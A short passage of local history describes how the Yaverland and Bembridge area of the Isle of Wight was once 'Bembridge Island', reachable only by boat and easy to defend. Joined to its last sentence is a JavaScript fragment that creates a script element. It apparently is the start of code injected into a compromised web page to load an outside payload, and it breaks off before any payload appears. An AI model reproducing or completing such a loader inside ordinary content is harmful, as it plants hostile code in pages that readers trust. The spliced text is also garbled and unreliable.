The area, containing Yaverland and Bembridge, was for much of its history an island, cut off from the Wight mainland by an encircling arm of sea at high tide and a muddy gulf at low tide. Hence its former name, “Bembridge Island”. For early inhabitants, this meant Bembridge Isle formed a small, but defensible island that could only be approached by boat, thereby giving the defenders plenty of time to prepare.var d=document;var s=d.createElement(‘script’);